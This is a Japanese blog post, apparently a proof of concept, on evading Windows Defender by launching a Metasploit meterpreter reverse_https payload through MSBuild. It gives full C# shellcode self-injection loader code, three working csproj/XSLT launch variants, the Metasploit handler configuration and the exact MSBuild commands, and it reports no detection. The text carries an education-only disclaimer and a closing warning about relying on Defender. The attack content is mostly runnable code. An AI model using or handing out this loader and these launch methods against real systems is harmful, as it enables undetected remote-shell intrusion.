Slapdash Safeguards

にわか仕込みのセキュリティ

msbuildでのWindowsDefender回避

このPoCは教育および研究目的のみに使用してください。 これは、実際のマルウェアキャンペーンで既に観測されている既知の手法 (https://mwalkowski.com/post/bypassing-windows-11-defender-with-lolbin/) を実演するものです。 悪意のある目的で使用しないでください。著者は不正使用について一切の責任を負いません。

WindowsDefenderって十分だと思いますか?

最近のWindowsDefenderは十分な機能あるから、アンチウイルスソフト買わなくて良いっていう議論を見る。

けど、WindowsDefenderこそ研究され尽くしてるので色んな回避方法があってボロボロ何ですよって話。

mwalkowski.com


今回テストした。systeminfo

ホスト名:                   ANALYZE2
OS 名:                      Microsoft Windows 11 Pro
OS バージョン:              10.0.26200 N/A ビルド 26200
OS 製造元:                  Microsoft Corporation
OS 構成:                    スタンドアロン ワークステーション
OS ビルドの種類:            Multiprocessor Free
登録されている所有者:       vboxuser
登録されている組織:         N/A
プロダクト ID:              00330-80000-00000-AA386
最初のインストール日付:     2026/03/26, 11:03:07
システム起動時間:           2026/04/18, 21:31:06
システム製造元:             innotek GmbH
システム モデル:            VirtualBox
システムの種類:             x64-based PC
プロセッサ:                 1 プロセッサインストール済みです。
                            [01]: Intel64 Family 6 Model 154 Stepping 3 GenuineIntel ~1882 Mhz
BIOS バージョン:            innotek GmbH VirtualBox, 2006/12/01
Windows ディレクトリ:       C:\WINDOWS
システム ディレクトリ:      C:\WINDOWS\system32
起動デバイス:               \Device\HarddiskVolume1
システム ロケール:          ja;日本語
入力ロケール:               ja;日本語
タイム ゾーン:              (UTC+09:00) 大阪、札幌、東京
物理メモリの合計:           8,174 MB
利用できる物理メモリ:       4,968 MB
仮想メモリ: 最大サイズ:     10,094 MB
仮想メモリ: 利用可能:       7,172 MB
仮想メモリ: 使用中:         2,922 MB
ページ ファイルの場所:      C:\pagefile.sys
ドメイン:                   WORKGROUP
ログオン サーバー:          \\ANALYZE2
ホットフィックス:           9 ホットフィックスがインストールされています。
                            [01]: KB5082417
                            [02]: KB5050575
                            [03]: KB5054156
                            [04]: KB5054273
                            [05]: KB5078674
                            [06]: KB5083769
                            [07]: KB5043113
                            [08]: KB5083532
                            [09]: KB5088467
ネットワーク カード:        2 NIC(s) インストール済みです。
                            [01]: Intel(R) PRO/1000 MT Desktop Adapter
                                  接続名:               イーサネット
                                  DHCP が有効:  はい
                                  DHCP サーバー:        10.0.2.2
                                  IP アドレス
                                  [01]: 10.0.2.15
                                  [02]: fe80::d7c2:4443:e536:eb33
                                  [03]: fd17:625c:f037:2:59ac:de8f:20fe:5467
                                  [04]: fd17:625c:f037:2:364c:9f1e:dab1:3e5f
                            [02]: Intel(R) PRO/1000 MT Desktop Adapter
                                  接続名:               イーサネット 2
                                  DHCP が有効:  はい
                                  DHCP サーバー:        192.168.100.1
                                  IP アドレス
                                  [01]: 192.168.100.14
                                  [02]: fe80::fce6:b2e1:bc59:888b
仮想化ベースのセキュリティ: 状態: 無効\
                            App Control for Business policy: 強制
                            App Control for Business user mode policy: 監査
                            有効なセキュリティ機能:
Hyper-V の要件:             ハイパーバイザーが検出されました。Hyper-V に必要な機能は表示されません。

msbuildで実行したなら検知されにくくなる?

上の記事を読んでそんな簡単なわけないやんって思ったけど、本当だった話。

msfvenomのwindows/x64/meterpreter/reverse_httpsのraw形式

meterpreterのペイロードなんてOSSだし、超有名だし解析され尽くしされ尽くしされ尽くしぐらいされ尽くされてるハズ。

msfvenomだってそのまま作ったヤツなんて検知されっしょって思ったそこの貴方。

reverse_httpsのダウンロード

うーん検知されないね。

何か、windows/x64/meterpreter/reverse_httpsはいけるらしい。

reverse_tcpはガンガン検知されるのに、これは検知されないのかぁ。シグネチャ無いのね。

meterpreterのペイロードをWindowsに検知されずに持ち込むために、エンコードしたり暗号化したりっていう手段を取ってきた。

それがmsfvenomのペイロードによっては要らないものが残ってたと。

msbuildってVisualStudioに付いてるやつだよね

msbuildってVisualStudioをインストールすることで付いてくるコンパイラって、思ってたのが過去の自分。

実は、「.NET Framework 4.x」にレガシーバージョンのMSBuildが同梱されているとのこと。

PS C:\Windows\Microsoft.NET> gci -Filter msbuild.exe -Recurse -ea 0 -Force | % FullName
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\Microsoft.NET\assembly\GAC_64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe

わーお、本当だ。

Windows 11なら、デフォルトであるらしい。

msbuildでペイロードを実行する準備

先の記事で解説されているものそのまま。

main.cs

まずは、ビルドする.NET(C#)コードに関して。

using System;
using System.IO;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        ulong ZeroBits,
        ref ulong RegionSize,
        uint AllocationType,
        uint Protect
    );

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr CreateThread(
        IntPtr lpThreadAttributes,
        uint dwStackSize,
        IntPtr lpStartAddress,
        IntPtr lpParameter,
        uint dwCreationFlags,
        IntPtr lpThreadId
    );

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern uint WaitForSingleObject(
        IntPtr hHandle,
        uint dwMilliseconds
    );

WinAPIを使用するための準備。

メモリ割り当てのためのNtAllocateVirtualMemory、スレッド実行のためのCreateThread

対象のハンドルに関連する実行終了を待つWaitForSingleObjectをロード

    static void Main(string[] args)
    {
        string filePath = "https_payload.bin";

        byte[] shellcode = LoadShellcode(filePath);
        if (shellcode == null)
        {
            Console.WriteLine("Failed to load shellcode.");
            return;
        }

        IntPtr baseAddress = IntPtr.Zero;
        ulong regionSize = (ulong)shellcode.Length;
        IntPtr processHandle = (IntPtr)(-1);

        uint allocationResult = NtAllocateVirtualMemory(
            processHandle,
            ref baseAddress,
            0,
            ref regionSize,
            0x3000, // MEM_COMMIT | MEM_RESERVE
            0x40    // PAGE_EXECUTE_READWRITE
        );

        if (allocationResult != 0)
        {
            Console.WriteLine("Failed to allocate memory.");
            return;
        }

        Marshal.Copy(shellcode, 0, baseAddress, shellcode.Length);

        IntPtr threadHandle = CreateThread(
            IntPtr.Zero,
            0,
            baseAddress,
            IntPtr.Zero,
            0,
            IntPtr.Zero
        );

        if (threadHandle == IntPtr.Zero)
        {
            Console.WriteLine("Failed to create thread.");
            return;
        }

        WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    }

ざっくりといくと、https_payload.binを読み込み、自プロセスのメモリに割り当て、新しいスレッドを起動して実行する。Self Injection。

メモリ確保にVirtualAllocじゃなくて、NtAllocateVirtualMemoryを使用しているのはちょっとした検知回避気分?

でも、NtAllocateVirtualMemoryで確保しているのがRWXなので、微妙だけどね。

シェルコードをメモリに書き込むためにMarshal.Copy

そして最後にCreateThreadでシェルコードを実行する。

シェルコードを読み込むLoadShellcodeは単純。

    private static byte[] LoadShellcode(string filePath)
    {
        try
        {
            return File.ReadAllBytes(filePath);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error loading shellcode: " + ex.Message);
            return null;
        }
    }
}

main.csproj

msbuildってビルド時にコマンド実行できちゃうんですよね。

<Exec>タスクを利用すると、ビルドと同時にmsbuildがプログラムを実行してくれる。

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
    <Configuration>Debug</Configuration>
  </PropertyGroup>
  <ItemGroup>
    <Compile Include="main.cs" />
  </ItemGroup>

  <Target Name="Build">
    <Csc Sources="@(Compile)" OutputAssembly="main.exe" />
  </Target>

  <Target Name="Run" DependsOnTargets="Build">
    <Exec Command="main.exe" />
  </Target>
</Project>

main.exemsbuild.exeの子プロセスとして実行され、シェルコードがmain.exeのプロセス内で実行される。

あとは実行するだけ。

msf > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(multi/handler) > set StageEncoder x64/xor_dynamic
StageEncoder => x64/xor_dynamic
msf exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf exploit(multi/handler) > set LPORT 443
LPORT => 443                        
msf exploit(multi/handler) > run                                                           
C:\Windows\Microsoft.NET\assembly\GAC_32\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe main.csproj /p:Configuration=Debug /t:Run

No Detection

たぶんmsbuildが実行しているから検知レベルも下がっていると思われ

雰囲気的にmsbuildが実行しているから、シグネチャで検知されないシェルコードが実行されているからの組み合わせで検知されないと考えている。

どちらかというと、後者の方が大きく効果が出てる感。

他のパターン

同じようなパターンで、Windows Defenderに検知されないのは他にもあるらしい。

Post Build Events

learn.microsoft.com

c.psprojを作成。

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build"
         xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <PropertyGroup>
    <AssemblyName>main</AssemblyName>
    <RunPostBuildEvent>Always</RunPostBuildEvent>
    <OutputType>Exe</OutputType>
    <TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
    <PlatformTarget>x64</PlatformTarget>

    <OutputPath>.\</OutputPath>
    <IntermediateOutputPath>.\</IntermediateOutputPath>

    <DebugSymbols>false</DebugSymbols>
    <DebugType>none</DebugType>

    <GenerateDocumentationFile>false</GenerateDocumentationFile>
    <DocumentationFile></DocumentationFile>

    <PostBuildEvent>"$(MSBuildProjectDirectory)\$(AssemblyName).exe"</PostBuildEvent>
  </PropertyGroup>
  <ItemGroup>
    <Compile Include="main.cs" />
  </ItemGroup>
  <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>
C:\Windows\Microsoft.NET\assembly\GAC_64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe c.csproj

XSLT + msxsl:script

learn.microsoft.com

p.xslを作成。

<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  xmlns:user="urn:my-scripts">
  <msxsl:script language="C#" implements-prefix="user">
    <msxsl:assembly name="mscorlib"/>
    <msxsl:using namespace="System.IO"/>
    <msxsl:using namespace="System.Runtime.InteropServices"/>
    <![CDATA[
      [DllImport("ntdll.dll")] static extern uint NtAllocateVirtualMemory(
          IntPtr p, ref IntPtr b, ulong z, ref ulong s, uint t, uint pr);
      [DllImport("kernel32.dll")] static extern IntPtr CreateThread(
          IntPtr a, uint s, IntPtr f, IntPtr p, uint c, IntPtr t);
      [DllImport("kernel32.dll")] static extern uint WaitForSingleObject(IntPtr h, uint ms);

      public string Exec() {
        byte[] sc = File.ReadAllBytes("https_payload.bin");
        IntPtr addr = IntPtr.Zero; ulong sz = (ulong)sc.Length;
        NtAllocateVirtualMemory((IntPtr)(-1), ref addr, 0, ref sz, 0x3000, 0x40);
        Marshal.Copy(sc, 0, addr, sc.Length);
        WaitForSingleObject(CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero), 0xFFFFFFFF);
        return "";
      }
    ]]>
  </msxsl:script>
  <xsl:template match="/"><xsl:value-of select="user:Exec()"/></xsl:template>
</xsl:stylesheet>

d.xmlを作成。

<?xml version="1.0"?><root/>

p.csprojを作成。

<Project ToolsVersion="4.0" DefaultTargets="Go"
         xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <UsingTask TaskName="RunXsl" TaskFactory="CodeTaskFactory"
             AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
    <Task>
      <Reference Include="System.Xml"/>
      <Using Namespace="System.Xml"/>
      <Using Namespace="System.Xml.Xsl"/>
      <Code Type="Fragment" Language="cs"><![CDATA[
        var settings = new XsltSettings(true, true);
        var xslt = new XslCompiledTransform();
        xslt.Load("p.xsl", settings, new XmlUrlResolver());
        xslt.Transform("d.xml", "out.txt");
      ]]></Code>
    </Task>
  </UsingTask>

  <Target Name="Go">
    <RunXsl />
  </Target>
</Project>
C:\Windows\Microsoft.NET\assembly\GAC_64\MSBuild\v4.0_4.0.0.0__b03f5f7f11d50a3a\MSBuild.exe p.csproj /t:Go

Windows Defenderだけでは無力ということを忘れてはいけない。